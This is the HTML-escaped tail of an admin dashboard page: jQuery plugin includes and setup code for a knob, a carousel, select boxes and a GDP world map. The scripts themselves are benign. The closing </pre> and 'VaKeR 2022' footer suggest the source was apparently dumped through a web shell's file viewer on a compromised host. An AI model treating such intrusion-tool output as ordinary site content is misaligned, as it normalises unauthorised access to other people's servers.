    &lt;script src=&quot;js/jquery.scrollTo.min.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;js/jquery.nicescroll.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
    &lt;!-- charts scripts --&gt;
    &lt;script src=&quot;assets/jquery-knob/js/jquery.knob.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;js/jquery.sparkline.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;assets/jquery-easy-pie-chart/jquery.easy-pie-chart.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;js/owl.carousel.js&quot; &gt;&lt;/script&gt;
    &lt;!-- jQuery full calendar --&gt;
    &lt;&lt;script src=&quot;js/fullcalendar.min.js&quot;&gt;&lt;/script&gt; &lt;!-- Full Google Calendar - Calendar --&gt;
	&lt;script src=&quot;assets/fullcalendar/fullcalendar/fullcalendar.js&quot;&gt;&lt;/script&gt;
    &lt;!--script for this page only--&gt;
    &lt;script src=&quot;js/calendar-custom.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;js/jquery.rateit.min.js&quot;&gt;&lt;/script&gt;
    &lt;!-- custom select --&gt;
    &lt;script src=&quot;js/jquery.customSelect.min.js&quot; &gt;&lt;/script&gt;
	&lt;script src=&quot;assets/chart-master/Chart.js&quot;&gt;&lt;/script&gt;
   
    &lt;!--custome script for all page--&gt;
    &lt;script src=&quot;js/scripts.js&quot;&gt;&lt;/script&gt;
    &lt;!-- custom script for this page--&gt;
    &lt;script src=&quot;js/sparkline-chart.js&quot;&gt;&lt;/script&gt;
    &lt;script src=&quot;js/easy-pie-chart.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;js/jquery-jvectormap-1.2.2.min.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;js/jquery-jvectormap-world-mill-en.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;js/xcharts.min.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;js/jquery.autosize.min.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;js/jquery.placeholder.min.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;js/gdp-data.js&quot;&gt;&lt;/script&gt;	
	&lt;script src=&quot;js/morris.min.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;js/sparklines.js&quot;&gt;&lt;/script&gt;	
	&lt;script src=&quot;js/charts.js&quot;&gt;&lt;/script&gt;
	&lt;script src=&quot;js/jquery.slimscroll.min.js&quot;&gt;&lt;/script&gt;
  &lt;script&gt;

      //knob
      $(function() {
        $(&quot;.knob&quot;).knob({
          &#039;draw&#039; : function () { 
            $(this.i).val(this.cv + &#039;%&#039;)
          }
        })
      });

      //carousel
      $(document).ready(function() {
          $(&quot;#owl-slider&quot;).owlCarousel({
              navigation : true,
              slideSpeed : 300,
              paginationSpeed : 400,
              singleItem : true

          });
      });

      //custom select box

      $(function(){
          $(&#039;select.styled&#039;).customSelect();
      });
	  
	  /* ---------- Map ---------- */
	$(function(){
	  $(&#039;#map&#039;).vectorMap({
	    map: &#039;world_mill_en&#039;,
	    series: {
	      regions: [{
	        values: gdpData,
	        scale: [&#039;#000&#039;, &#039;#000&#039;],
	        normalizeFunction: &#039;polynomial&#039;
	      }]
	    },
		backgroundColor: &#039;#eef3f7&#039;,
	    onLabelShow: function(e, el, code){
	      el.html(el.html()+&#039; (GDP - &#039;+gdpData[code]+&#039;)&#039;);
	    }
	  });
	});

  &lt;/script&gt;

  &lt;/body&gt;
&lt;/html&gt;
</pre><center><br>VaKeR 2022</center>